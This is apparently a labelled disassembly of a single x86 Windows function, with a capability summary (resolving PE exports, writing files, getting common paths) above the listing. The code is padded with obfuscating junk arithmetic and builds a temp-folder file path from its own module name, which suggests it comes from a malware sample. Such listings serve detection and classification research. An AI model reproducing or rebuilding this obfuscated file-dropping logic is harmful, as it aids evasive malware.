Function at 0x4086a0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41df88
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x426130]
xor eax, esp
mov dword [esp + 0xd8], eax
push ebx
push esi
push edi
mov eax, dword [0x426130]
xor eax, esp
push eax
lea eax, [esp + 0xf0]
mov dword fs:[0], eax
fldz
xor esi, esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x28], esi
xor eax, eax
mov word [esp + 0x3c], ax
xor ecx, ecx
mov word [esp + 0x2c], cx
mov dword [esp + 0x4c], esi
mov dword [esp + 0x34], esi
fst dword [esp + 0x20]
mov dword [esp + 0x68], esi
xor edx, edx
mov word [esp + 0x24], dx
fstp dword [esp + 0x50]
fld qword [0x424928]
fadd qword [0x41f340]
fstp qword [0x424928]
fld qword [0x424928]
mov eax, dword [esp + 0x34]
mov dword [esp + 0x30], eax
fild dword [esp + 0x30]
fmulp st(1)
call fcn.0040ab70
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], esi
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], esi
mov byte [esp + 0x8c], 0
movzx ecx, word [esp + 0x3c]
imul ecx, ecx, 0xd516428e
mov word [esp + 0x3c], cx
push 0x118
mov dword [esp + 0xfc], esi
call fcn.0040adb3
push eax
mov dword [esp + 0x80], eax
call fcn.00401b50
movzx edx, word [esp + 0x2c]
mov eax, dword [0x4231c0]
sub edx, eax
add edx, 0x720d997f
add esp, 8
mov word [esp + 0x24], dx
inc dword [0x4231c0]
fld qword [0x425f88]
call fcn.0040ab70
mov word [0x425fc8], ax
fld qword [0x425f88]
fadd qword [0x41f340]
push 0
fstp qword [0x425f88]
call fcn.0040aa9a
mov esi, dword [esp + 0x5c]
add esp, 4
cmp edx, esi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], edx
jg 0x40880a
jl 0x4087fc
cmp eax, dword [esp + 0x54]
jae 0x40880a
xor esi, esi
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], esi
mov ecx, eax
sub ecx, dword [esp + 0x54]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x18], edi
js 0x4090ed
jg 0x40882c
cmp ecx, 0x708
jbe 0x4090ed
fld dword [esp + 0x20]
mov cx, word [esp + 0x24]
movsx ecx, cx
mov esi, 0x48692d11
sub esi, ecx
mov dword [esp + 0x30], esi
mov dword [esp + 0x58], edx
mov esi, eax
fild dword [esp + 0x30]
mov dword [esp + 0x54], eax
shr esi, 9
push 0x408
fadd dword [esp + 0x24]
lea ebx, [esi + 0x55]
push 0x424cd0
mov dword [esp + 0x38], 0
fsubp st(1)
mov dword [esp + 0x6c], esi
mov dword [esp + 0x1c], ebx
fstp dword [esp + 0x28]
fld dword [esp + 0x28]
fsub qword [0x41f340]
fstp dword [esp + 0x28]
mov dx, word [esp + 0x2c]
movsx ecx, dx
mov edx, dword [esp + 0x30]
sub ecx, 0x3fb753c9
imul ecx, edx
mov dword [esp + 0x30], ecx
inc dword [esp + 0x2c]
movzx eax, word [esp + 0x34]
add eax, 0x6a27ef66
mov word [esp + 0x34], ax
call fcn.00401930
push 0xd
push 0x4236b0
mov dword [esp + 0x7c], eax
call fcn.00401930
mov edi, eax
push 0xaf1
push 0x423790
mov dword [esp + 0x78], edi
call fcn.00401930
push 0x31e
push 0x4232f0
mov dword [esp + 0x90], eax
call fcn.00401930
add esp, 0x20
mov dword [esp + 0x74], eax
cmp esi, ebx
je 0x408d62
mov cx, word [esp + 0x2c]
mov eax, dword [esp + 0x28]
movsx edx, cx
mov ecx, dword [0x427920]
imul edx, eax
push 0
push ecx
mov dword [esp + 0x30], edx
call fcn.00402ac0
add esp, 8
test eax, eax
jne 0x408941
mov edx, dword [0x427928]
mov eax, dword [0x427464]
push edx
push eax
call fcn.00401ab0
add esp, 8
inc dword [esp + 0x34]
fld dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x3c], ecx
fild dword [esp + 0x3c]
fcompp
fnstsw ax
fld dword [esp + 0x20]
fsub qword [0x41f340]
fstp dword [esp + 0x20]
test ah, 1
jne 0x408978
add dword [0x4248a8], 0x26a5f556
jmp 0x408980
add dword [esp + 0x28], 0x7af57266
mov edx, dword [esp + 0x64]
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x70]
push edx
push eax
push ecx
lea edx, [esp + 0xb0]
push edx
call fcn.004021a0
push 0x8b
push 0x4252b8
call fcn.00401930
mov ebx, eax
mov eax, dword [esp + 0x78]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089b6
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4089c2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x90]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xb0]
push ebx
push ecx
call fcn.00407d20
push 0x8b
fldz
push 0
mov dword [esp + 0x58], 0
fstp qword [esp + 0x58]
push ebx
call fcn.0040acb0
mov edx, 0x1852
push ebx
mov word [0x4236d4], dx
call fcn.0040ac1b
mov eax, dword [esp + 0xb0]
add esp, 0x24
cmp dword [esp + 0xa0], 0x10
jae 0x408a3d
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0x6c]
push ecx
push eax
push edx
call fcn.004075b0
add esp, 0xc
cmp eax, 9
jl 0x408d32
mov ecx, dword [esp + 0x8c]
mov edi, 0x10
cmp dword [esp + 0xa0], edi
jae 0x408a78
lea ecx, [esp + 0x8c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x80]
jg 0x408aaf
jl 0x408a8d
cmp edx, dword [esp + 0x7c]
jae 0x408aaf
mov ecx, dword [0x424bd8]
mov edx, dword [esp + 0x34]
mov eax, 0xcdc55ab7
sub eax, ecx
add edx, eax
mov dword [0x424b64], edx
dec dword [esp + 0x34]
jmp 0x408d32
lea esi, [eax - 1]
cmp esi, dword [esp + 0x9c]
jbe 0x408ac0
call fcn.0040b400
mov eax, dword [esp + 0x8c]
cmp dword [esp + 0xa0], edi
jae 0x408ad7
lea eax, [esp + 0x8c]
mov byte [eax + esi], 0
mov esi, dword [esp + 0xa0]
mov ebx, dword [esp + 0x8c]
mov eax, ebx
cmp esi, edi
jae 0x408af6
lea eax, [esp + 0x8c]
lea ecx, [esp + 0xa4]
add eax, 8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408b20
test dl, dl
je 0x408b1c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408b20
add eax, 2
add ecx, 2
test dl, dl
jne 0x408b00
xor eax, eax
jmp 0x408b25
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408d32
cmp esi, edi
jb 0x408c09
mov edi, ebx
test ebx, ebx
je 0x408b68
mov eax, ebx
cmp esi, 0x10
jae 0x408b49
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x408b68
mov eax, ebx
cmp esi, 0x10
jae 0x408b5b
lea eax, [esp + 0x8c]
mov ecx, dword [esp + 0x9c]
add eax, ecx
cmp edi, eax
jbe 0x408b74
call fcn.0040b400
mov ecx, dword [esp + 0x9c]
lea esi, [esp + 0x88]
mov ebx, edi
mov edx, dword [esp + 0xa0]
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x408b97
lea eax, [esp + 0x8c]
lea edi, [eax + ecx]
test edi, edi
je 0x408bce
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x408bb1
lea eax, [esp + 0x8c]
cmp eax, edi
ja 0x408bce
mov eax, dword [esp + 0x8c]
cmp edx, 0x10
jae 0x408bc8
lea eax, [esp + 0x8c]
add eax, ecx
cmp edi, eax
jbe 0x408bd3
call fcn.0040b400
cmp esi, 0xfffffffc
je 0x408bec
test esi, esi
je 0x408be7
lea eax, [esp + 0x88]
cmp esi, eax
je 0x408bec
call fcn.0040b400
cmp ebx, edi
je 0x408c60
cmp esi, 0xfffffffc
je 0x408c26
test esi, esi
jne 0x408bfe
call fcn.0040b400
cmp dword [esi + 0x18], 0x10
jb 0x408c15
mov eax, dword [esi + 4]
jmp 0x408c18
lea edi, [esp + 0x8c]
jmp 0x408b3b
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x408c26
call fcn.0040b400
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x408c53
test esi, esi
jne 0x408c37
call fcn.0040b400
cmp dword [esi + 0x18], 0x10
jb 0x408c42
mov eax, dword [esi + 4]
jmp 0x408c45
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x408c53
call fcn.0040b400
mov ecx, dword [esp + 0x9c]
inc ebx
jmp 0x408b7d
push 0x7e
push 0x4252b8
call fcn.00401930
xor ebx, ebx
push ebx
mov esi, eax
push ebx
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0xb8]
push esi
push ecx
call fcn.00407d20
fldz
push 0x7e
push ebx
mov dword [esp + 0x58], ebx
fstp qword [esp + 0x58]
push esi
call fcn.0040acb0
mov edx, 0x1852
mov word [0x4236d4], dx
push esi
call fcn.0040ac1b
dec dword [esp + 0x58]
mov ax, word [esp + 0x58]
movsx ecx, ax
add ecx, 0x66516f76
push 0xc
push 0x425f90
mov dword [esp + 0x68], ecx
call fcn.00401930
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408cd7
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x94]
call fcn.00404590
fldz
mov edi, eax
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov edx, 0xffffbcad
mov word [esp + 0x3c], dx
mov dword [esi + 8], eax
mov dword [esp + 0x3c], ebx
fstp qword [esp + 0x3c]
mov eax, 0x1852
push esi
mov word [0x4236d4], ax
call fcn.0040ac1b
mov ecx, dword [esp + 0xa0]
add ecx, 0xfffffff5
add esp, 4
cmp edi, ecx
je 0x408d47
mov eax, dword [esp + 0x64]
inc eax
mov dword [esp + 0x64], eax
cmp eax, dword [esp + 0x14]
jne 0x408904
jmp 0x408d5e
push 0xb
push edi
lea ecx, [esp + 0x90]
call fcn.004062f0
mov dword [esp + 0x30], 1
mov edi, dword [esp + 0x60]
fldz
mov ebx, dword [esp + 0x6c]
xor esi, esi
push 0x408
push esi
mov dword [esp + 0x1c], esi
fstp qword [esp + 0x1c]
push ebx
call fcn.0040acb0
mov edx, 0x1852
mov word [0x4236d4], dx
push ebx
call fcn.0040ac1b
fld dword [esp + 0x60]
fadd qword [0x41f340]
xor eax, eax
push edi
fstp dword [esp + 0x64]
fld dword [0x425294]
fld dword [esp + 0x64]
fadd qword [0x41f8a8]
fadd dword [esp + 0x64]
fsubp st(1)
fstp dword [0x425294]
mov dword [edi], eax
fldz
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov byte [edi + 0xc], al
mov dword [esp + 0x28], esi
fstp qword [esp + 0x28]
mov eax, 0x1852
mov word [0x4236d4], ax
call fcn.0040ac1b
fldz
mov edi, dword [esp + 0x88]
push 0x31e
push esi
mov dword [esp + 0x30], esi
fstp qword [esp + 0x30]
push edi
call fcn.0040acb0
mov ecx, 0x1852
mov word [0x4236d4], cx
push edi
call fcn.0040ac1b
fldz
mov edi, dword [esp + 0x94]
push 0xaf1
push esi
mov dword [esp + 0x40], esi
fstp qword [esp + 0x40]
push edi
call fcn.0040acb0
mov edx, 0x1852
push edi
mov word [0x4236d4], dx
call fcn.0040ac1b
push 0x40
lea eax, [esp + 0xdc]
push esi
push eax
call fcn.0040acb0
add esp, 0x40
cmp dword [esp + 0x30], esi
je 0x4090ed
mov ecx, dword [esp + 0x78]
push 0x708
push ecx
call fcn.004036e0
add esp, 8
cmp dword [esp + 0x9c], 0x200
jbe 0x4090ed
mov dx, word [0x424800]
movsx eax, dx
add eax, 0x28b04b0e
mov dword [esp + 0x14], eax
push 0x370
fild dword [esp + 0x18]
fadd dword [0x425fe4]
fstp dword [0x425fe4]
call fcn.0040adb3
add esp, 4
mov ebx, eax
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402480
push 3
push 0x4242c8
call fcn.00401930
mov esi, eax
push esi
push ebx
call fcn.0040b9ad
fldz
mov edi, eax
xor eax, eax
mov dword [esp + 0x2c], eax
fstp qword [esp + 0x2c]
mov word [esi], ax
mov ecx, 0x1852
mov byte [esi + 2], al
push esi
mov word [0x4236d4], cx
call fcn.0040ac1b
mov eax, dword [esp + 0xa8]
add esp, 0x1c
cmp dword [esp + 0xa0], 0x10
jae 0x408f21
lea eax, [esp + 0x8c]
mov edx, dword [esp + 0x9c]
push edi
push 1
push edx
push eax
call fcn.0040bb26
push edi
call fcn.0040b553
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x424c24
call fcn.00401930
mov edi, eax
mov ax, word [0x4232e4]
mov ecx, dword [0x4231c0]
cwde
sub eax, ecx
push 0x20
mov word [0x4232e4], ax
inc dword [0x4231c0]
push 0x426010
call fcn.00401930
mov esi, eax
fld qword [0x4230f8]
mov edx, dword [0x427920]
fmul qword [0x41f8a0]
push edx
push esi
lea eax, [ebx + 0x104]
push eax
fstp qword [0x4230f8]
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040b1e5
fld dword [esp + 0x48]
fsub qword [0x41f340]
fstp dword [esp + 0x48]
fld dword [esp + 0x48]
mov eax, dword [esp + 0x74]
fsub qword [0x41f898]
mov dword [esp + 0x3c], eax
fiadd dword [esp + 0x3c]
call fcn.0040ab70
fldz
mov dword [esp + 0x50], eax
dec dword [esp + 0x74]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esp + 0x3c], eax
fstp qword [esp + 0x3c]
mov dword [esi + 0x18], eax
mov ecx, 0x1852
mov dword [esi + 0x1c], eax
mov word [0x4236d4], cx
push esi
call fcn.0040ac1b
fldz
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [esp + 0x40], 0
fstp qword [esp + 0x40]
mov dword [edi + 0x10], eax
mov edx, 0x1852
mov byte [edi + 0x14], al
mov word [0x4236d4], dx
push edi
call fcn.0040ac1b
fld qword [0x424cc8]
fsub qword [0x41f890]
call fcn.0040ab70
mov dword [esp + 0x78], eax
fld qword [0x424cc8]
fsub qword [0x41f340]
mov eax, dword [0x427920]
push 1
push eax
fstp qword [0x424cc8]
call fcn.00402ac0
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00401ab0
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040acb0
push ebx
call fcn.0040ac1b
mov ecx, dword [esp + 0x38]
mov edx, 0x52642638
sub edx, ecx
add esp, 0x10
cmp edx, 0x4d82999c
jl 0x4090ce
mov eax, dword [esp + 0x68]
mov dword [0x4248dc], eax
inc dword [esp + 0x68]
jmp 0x4090e2
movzx ecx, word [0x424800]
sub ecx, 0x75c9e404
mov word [0x424800], cx
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [0x423760]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [0x423760]
mov edx, dword [esp + 0x4c]
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fsub qword [0x423760]
fsub qword [0x41f888]
fcomp qword [0x41f880]
fnstsw ax
test ah, 0x44
jnp 0x409145
inc dword [esp + 0x48]
fstp st(0)
mov eax, dword [esp + 0x48]
add eax, 0x46a01a4a
mov word [esp + 0x3c], ax
jmp 0x40919b
mov ecx, dword [0x423620]
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fld qword [0x424830]
mov dx, word [esp + 0x24]
movsx eax, dx
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fsubp st(1)
fsub dword [0x4242a4]
fsubp st(1)
call fcn.0040ab70
mov dword [0x423620], eax
fld dword [0x4242a4]
fsub st(1)
fstp dword [0x4242a4]
inc dword [esp + 0x24]
fadd qword [0x424830]
fstp qword [0x424830]
fld dword [esp + 0x20]
push 0
fsub qword [0x41f878]
fmul dword [0x424924]
mov ecx, dword [0x427920]
push ecx
fstp dword [0x424924]
call fcn.00402ac0
add esp, 8
test eax, eax
jne 0x4087b4
mov edx, dword [str.b_Io]
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
fadd qword [0x424bc8]
call fcn.0040ab70
mov word [esp + 0x24], ax
inc dword [str.b_Io]
mov eax, dword [0x427928]
mov ecx, dword [0x427464]
push eax
push ecx
call fcn.00401ab0
add esp, 8
jmp 0x4087b4